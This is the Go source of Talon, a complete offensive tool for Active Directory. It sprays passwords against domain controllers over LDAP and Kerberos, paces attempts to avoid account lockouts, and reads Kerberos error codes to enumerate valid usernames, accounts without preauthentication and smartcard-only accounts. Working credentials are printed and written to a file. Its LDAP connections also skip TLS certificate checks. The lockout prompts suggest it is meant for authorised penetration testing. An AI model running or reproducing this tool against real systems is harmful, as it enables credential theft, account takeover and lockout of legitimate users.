Talon.go

package main

import (
	"bufio"
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"math/rand"
	"os"
	"strings"
	"time"

	"github.com/fatih/color"
	"gopkg.in/jcmturner/gokrb5.v7/client"
	"gopkg.in/jcmturner/gokrb5.v7/config"
	"gopkg.in/jcmturner/gokrb5.v7/iana/etypeID"
	"github.com/go-ldap/ldap/v3"
)

var (
	debugging   bool
	debugWriter io.Writer
)

type Authenticator interface {
	Login() (string, string, error)
}

type User struct {
	Name     string
	Password string
	Domain   string
}

type LDAP struct {
	Host string
	User
}

type KERB struct {
	Host string
	User
	Enum bool
}

// FlagOptions set at startup
type FlagOptions struct {
	host     string
	hostfile string
	OutPut   string
	user     string
	userfile string
	passfile string
	lockout  float64
	attempts float64
	domain   string
	pass     string
	outFile  string
	sleep    float64
	enum     bool
	kerb     bool
	ldap     bool
	lockerr  float64
}

func printDebug(format string, v ...interface{}) {
	if debugging {
		output := fmt.Sprintf("[DEBUG] ")
		output += format
		fmt.Fprintf(debugWriter, output, v...)
	}
}

func options() *FlagOptions {
	host := flag.String("H", "", "Domain controller to connect to")
	hostfile := flag.String("Hostfile", "", "File containing the list of domain controllers to connect to")
	domain := flag.String("D", "", "Fully qualified domain to use")
	user := flag.String("U", "", "Username to authenticate as")
	userfile := flag.String("Userfile", "", "File containing the list of usernames")
	passfile := flag.String("Passfile", "", "File containing the list of passwords")
	lockout := flag.Float64("Lockout", 60, "Account lockout period in minutes")
	attempts := flag.Float64("A", 3, "Authentication attempts per lockout period")
	pass := flag.String("P", "", "Password to use")
	outFile := flag.String("O", "", "File to append the results to")
	sleep := flag.Float64("sleep", .5, "Time inbetween attempts")
	debug := flag.Bool("debug", false, "Print debug statements")
	enum := flag.Bool("E", false, "Enumerates which users are valid")
	kerb := flag.Bool("K", false, "Test against Kerberos only")
	ldap := flag.Bool("L", false, "Test against LDAP only")
	lockerr := flag.Float64("LockErr", 1, "Repetative lockout errors")
	flag.Parse()
	debugging = *debug
	debugWriter = os.Stdout
	return &FlagOptions{host: *host, domain: *domain, user: *user, userfile: *userfile, hostfile: *hostfile, pass: *pass, outFile: *outFile, sleep: *sleep, enum: *enum, ldap: *ldap, kerb: *kerb, passfile: *passfile, lockout: *lockout, attempts: *attempts, lockerr: *lockerr}
}

func readfile(inputFile string) []string {
	output, err := ioutil.ReadFile(inputFile)
	if err != nil {
		log.Fatal(err)
	}
	return strings.Split(string(output), "\n")
}

func check(e error) {
	if e != nil {
		panic(e)
	}
}

func writefile(outFile, result string) {
	cf, err := os.OpenFile(outFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	check(err)
	defer cf.Close()
	_, err = cf.Write([]byte(result))
	check(err)
}

func main() {
	opt := options()
	var hosts []string
	var password string
	var usernames []string
	var services []string
	var passwords []string
	services = []string{"KERB", "LDAP"}
	fmt.Println(`
  __________  ________  ___       ________  ________
  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)

	Version: 3.2							`)

	if opt.enum {
		services = []string{"KERB"}
		password = string(" ")
	}

	if opt.kerb {
		services = []string{"KERB"}
	}

	if opt.ldap {
		services = []string{"LDAP"}
	}

	if opt.kerb && opt.ldap {
		log.Fatal("Error: Please choose one or the other")
	}

	if opt.enum && opt.ldap {
		log.Fatal("Error: Can't use LDAP only option with Enumeration option")
	}
	if opt.enum && opt.kerb {
		log.Fatal("Error: Can't use Kerberos only option with Enumeration option")
	}

	if opt.host == "" && opt.hostfile == "" {
		log.Fatal("Error: Please provide a host or list of hosts")
	}
	if opt.host != "" {
		printDebug("Appending %s\n", opt.host)
		hosts = append(hosts, opt.host)
	}
	if opt.hostfile != "" {
		printDebug("Reading host file %s\n", opt.hostfile)
		fileHosts := readfile(opt.hostfile)
		printDebug("Appending hosts %v\n", fileHosts)
		for _, host := range fileHosts {
			hosts = append(hosts, host)
		}
	}

	if opt.passfile != "" {
		printDebug("Reading pass file %s\n", opt.passfile)
		filePasswds := readfile(opt.passfile)
		printDebug("Appending passwords %v\n", filePasswds)
		for _, pwd := range filePasswds {
			if pwd != "" {
				passwords = append(passwords, pwd)
			}
		}
	}

	if opt.user == "" && opt.userfile == "" {
		log.Fatal("Error: Please provide an username or list of usernames")
	}

	if (opt.pass == "" && opt.passfile == "") && opt.enum == false {
		log.Fatal("Error: Please provide a password or select the enumeration option")
	}

	if opt.pass != "" {
		printDebug("Appending password %s\n", opt.pass)
		password = opt.pass
	}

	if opt.userfile != "" {
		printDebug("Reading user file %s\n", opt.userfile)
		fileUsers := readfile(opt.userfile)
		printDebug("Appending users %v\n", fileUsers)
		for _, user := range fileUsers {
			if user != "" {
				usernames = append(usernames, user)
			}
		}
	}

	if opt.user != "" {
		printDebug("Appending user %s\n", opt.user)
		usernames = append(usernames, opt.user)
	}

	if opt.pass != "" && opt.passfile != "" {
		log.Fatal("Error: Please provide either a single password or a list of passwords")
	}

	// Going to make people confirm they really want to spray passwords
	if opt.passfile != "" {
		reader := bufio.NewReader(os.Stdin)
		fmt.Print("[*] Warning: Selection option will spray multiple passwords and risk locking accounts. Do you want to continue? [y/n]: ")
		text, _ := reader.ReadString('\n')
		if !strings.Contains(text, "y") {
			log.Fatal("[*] Shutting down")
		}
		fmt.Print("\n")
	}

	// Normal execution logic
	if (opt.pass != "" && opt.passfile == "") || opt.enum {
		sleep := opt.sleep
		domain := strings.ToUpper(opt.domain)
		printDebug("Domain %v\tUsernames %v\tPasswords %v\tHosts %v\tServices %v\n", domain, usernames, password, hosts, services)
		x := 0
		err := 0
		rand.Seed(time.Now().Unix())
		lenServices := len(services) - 1
		for _, username := range usernames {
			n := 0
			if opt.hostfile != "" {
				n = rand.Int() % (len(hosts) - 1)
			}
			if hosts[n] == "" {
				return
			}
			time.Sleep(time.Duration(sleep) * time.Second)
			auth := setup(services[x], hosts[n], domain, username, password, opt.enum)
			result, forfile, _ := auth.Login()
			fmt.Println(result)
			if strings.Contains(result, "User's Account Locked") && opt.enum != true {
				err++
				if err == int(opt.lockerr) {
					reader := bufio.NewReader(os.Stdin)
					fmt.Printf("[*] %d Consecutive account lock out(s) detected - Do you want to continue.[y/n]: ", err)
					text, _ := reader.ReadString('\n')
					if strings.Contains(text, "y") {
						err = 0
						continue
					}
					log.Fatal("Shutting down")
				}
			}
			if opt.outFile != "" {
				forfile = forfile + "\n"
				writefile(opt.outFile, forfile)
			}
			if lenServices == x {
				x = 0
			} else {
				x++
				err = 0
			}
		}
	}

	if opt.pass == "" && opt.passfile != "" {
		var counter float64
		counter = 0
		var username string
		var pwd string
		// Use previous main function but iterate through passwords and automate stuff
		//		for _, pwd := range passwords {
		for p := 0; p < len(passwords); p++ {
			printDebug("This is the current value of counter: %f\n", counter)
			if counter < opt.attempts {
				pwd = passwords[p]
				fmt.Print(time.Now().Format("01-02-2006 15:04:05: "))
				fmt.Printf("Using password: %s\n", pwd)
				domain := strings.ToUpper(opt.domain)
				printDebug("Domain %v\tUsernames %v\tPasswords %v\tHosts %v\tServices %v\n", domain, usernames, pwd, hosts, services)
				x := 0
				err := 0
				rand.Seed(time.Now().Unix())
				lenServices := len(services) - 1
				//				for _, username := range usernames {
				for i := 0; i < len(usernames); i++ {
					username = usernames[i]
					n := 0
					if opt.hostfile != "" {
						n = rand.Int() % (len(hosts) - 1)
					}
					if hosts[n] == "" {
						return
					}
					sleep := opt.sleep
					time.Sleep(time.Duration(sleep) * time.Second)
					auth := setup(services[x], hosts[n], domain, username, pwd, opt.enum)
					result, forfile, _ := auth.Login()
					fmt.Println(result)
					if strings.Contains(result, "User's Account Locked") && opt.enum != true {
						err++
						usernames[i] = usernames[len(usernames)-1]
						usernames = usernames[:len(usernames)-1]
						i--
						if err == int(opt.lockerr) {
							reader := bufio.NewReader(os.Stdin)
							fmt.Printf("[*] %d Consecutive account lock out(s) detected - Do you want to continue.[y/n]: ", err)
							text, _ := reader.ReadString('\n')
							if strings.Contains(text, "y") {
								err = 0
								continue
							}
							log.Fatal("Shutting down")
						}
					}
					if opt.outFile != "" {
						forfile = forfile + "\n"
						writefile(opt.outFile, forfile)
					}
					if lenServices == x {
						x = 0
					} else {
						x++
						err = 0
					}
				}
				counter++
			} else { //Timeout for the period defined
				// Printing output with color because why not
				color.Set(color.FgYellow, color.Bold)
				fmt.Printf("\nHit timeout period - Sleeping for %v minutes...\n", opt.lockout)
				fmt.Printf("Will resume at %s", time.Now().Add(time.Duration(opt.lockout)*time.Minute).Format("01-02-2006 15:04:05"))
				time.Sleep(time.Duration(opt.lockout) * time.Minute)
				color.Unset()
				counter = 0
				p--
			}
		}
	}
}

func setup(service, host, domain, username, password string, enum bool) Authenticator {
	switch service {
	case "KERB":
		return KERB{Host: host, User: User{Name: username, Password: password, Domain: domain}, Enum: enum}
	case "LDAP":
		return LDAP{Host: host, User: User{Name: username, Password: password, Domain: domain}}
	}
	return nil
}

func (l LDAP) Login() (string, string, error) {
	printDebug("Logging into LDAP with %v\n", l)
	conn, err := ldap.DialTLS("tcp", (l.Host + ":636"), &tls.Config{InsecureSkipVerify: true})

	if err != nil {
		fmt.Println(err)
		reader := bufio.NewReader(os.Stdin)
		fmt.Print("[*] Do you want to continue.[y/n]: ")
		text, _ := reader.ReadString('\n')
		if strings.Contains(text, "y") {
			return "", "", nil //err
		}
		log.Fatal("[*] Shutting down")
	}

	conn.StartTLS(&tls.Config{InsecureSkipVerify: true})
	if err != nil {
		return "", "", nil
	}

	defer conn.Close()
	if err := conn.Bind(l.User.Name+"@"+l.User.Domain, l.User.Password); err != nil {
		printDebug(err.Error() + "\n")
		if strings.Contains(err.Error(), "comment: AcceptSecurityContext error, data 775, v3839") {
			result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.RedString("[-] "), l.Host, l.User.Domain, l.User.Name, l.User.Password, color.RedString("User's Account Locked"))
			forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[-] "), l.Host, l.User.Domain, l.User.Name, l.User.Password, ("User's Account Locked"))
			return result, forfile, err
		} else {
			result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.RedString("[-] "), l.Host, l.User.Domain, l.User.Name, l.User.Password, color.RedString("Failed"))
			forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[-] "), l.Host, l.User.Domain, l.User.Name, l.User.Password, ("Failed"))
			return result, forfile, err
		}
	}
	result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), l.Host, l.User.Domain, l.User.Name, l.User.Password, color.GreenString("Success"))
	forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), l.Host, l.User.Domain, l.User.Name, l.User.Password, ("Success"))
	return result, forfile, err
}
func (k KERB) Login() (string, string, error) {
	printDebug("Logging into Kerberos with %v\n", k)
	cfg, err := config.NewConfigFromString("[libdefaults]\n         default_realm = ${REALM}\n      dns_lookup_realm = false\n         dns_lookup_kdc = true\n         [realms]\n          " + k.User.Domain + " = {\n          kdc =" + k.Host + ":88\n          }\n")
	if k.Enum == true {
		cfg.LibDefaults.PreferredPreauthTypes = []int{int(etypeID.DES3_CBC_SHA1_KD)}
	}
	if err != nil {
		panic(err.Error())
	}
	cl := client.NewClientWithPassword(k.User.Name, k.User.Domain, k.User.Password, cfg, client.DisablePAFXFAST(true))
	err = cl.Login()
	if err != nil {
		printDebug(err.Error() + "\n")
		if strings.Contains(err.Error(), "AS_REQ to KDC: failed to communicate with KDC") {
			fmt.Println("[Root cause: Networking_Error] Networking_Error: AS Exchange Error: failed sending AS_REQ to KDC: failed to communicate with KDC " + k.Host)
			reader := bufio.NewReader(os.Stdin)
			fmt.Print("[*] Do you want to continue.[y/n]: ")
			text, _ := reader.ReadString('\n')
			if strings.Contains(text, "y") {
				return "", "", nil //err
			}
			log.Fatal("[*] Shutting down")
		}
		if k.Enum == true {
			if strings.Contains(err.Error(), "(37) KRB_AP_ERR_SKEW Clock skew") {
				fmt.Println(color.RedString("[-] ") + "The difference between the time on the Kerberos and you is too great to continue")
				log.Fatal("[*] Shutting down")
			}
			if strings.Contains(err.Error(), "KDC_ERR_CLIENT_REVOKED") {
				result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.RedString("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.RedString("User's Account Locked"))
				forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User's Account Locked"))
				return result, forfile, err
			}
			if strings.Contains(err.Error(), "KDC_ERR_C_PRINCIPAL_UNKNOWN") {
				result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.RedString("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.RedString("User Does Not Exist"))
				forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User Does Not Exist"))
				return result, forfile, err
			}
			if strings.Contains(err.Error(), "KDC_ERR_PREAUTH_FAILED") {
				result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.GreenString("User Exist"))
				forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User Exist"))
				return result, forfile, err
			}
			if strings.Contains(err.Error(), "AS Exchange Error: AS_REP is not valid or client password/keytab incorrect < Decrypting_Error: error decrypting EncPart of AS_REP < Decrypting_Error: error decrypting AS_REP encrypted part: error decrypting: integrity verification failed") {
				result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.GreenString("User Exist - But Does Not Require Preauth"))
				forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User Exist - But Does Not Require Preauth"))
				return result, forfile, err
			}
			if strings.Contains(err.Error(), "AS Exchange Error: kerberos error response from KDC: KRB Error: (12) KDC_ERR_POLICY KDC policy rejects request") {
				result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.GreenString("User Exist - But Smartcard is Required"))
				forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User Exist - But Smartcard is Required"))
				return result, forfile, err
			}
			if strings.Contains(err.Error(), "AS Exchange Error: kerberos error response from KDC: KRB Error: (14) KDC_ERR_ETYPE_NOSUPP KDC has no support for encryption type") {
				result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.GreenString("User Exist"))
				forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User Exist"))
				return result, forfile, err
			}
			if strings.Contains(err.Error(), "KRBMessage_Handling_Error: AS Exchange Error: AS_REP is not valid or client password/keytab incorrect < Decrypting_Error: error decrypting EncPart of AS_REP < Decrypting_Error: error decrypting AS_REP encrypted part: error decrypting: integrity checksum incorrect") {
				result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.GreenString("User Exist - But Only Allows Kerberos DES Encrpytion and Does Not Require Preauth"))
				forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User Exist - But Only Allows Kerberos DES Encrpytion and Does Not Require Preauth"))
				return result, forfile, err
			}
		}
		if strings.Contains(err.Error(), "(37) KRB_AP_ERR_SKEW") {
			fmt.Println(color.RedString("[-] ") + "The difference between the time on the Kerberos and you is too great to continue")
			log.Fatal("[*] Shutting down")
		} else if strings.Contains(err.Error(), "KDC_ERR_CLIENT_REVOKED") {
			result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.RedString("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.RedString("User's Account Locked"))
			forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("User's Account Locked"))
			return result, forfile, err
		} else {
			result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.RedString("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.RedString("Failed"))
			forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[-] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("Failed"))
			return result, forfile, err
		}
	}
	result := fmt.Sprintf("%s %s %s\\%s:%s = %s", color.GreenString("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, color.GreenString("Success"))
	forfile := fmt.Sprintf("%s %s %s\\%s:%s = %s", ("[+] "), k.Host, k.User.Domain, k.User.Name, k.User.Password, ("Success"))
	return result, forfile, nil
}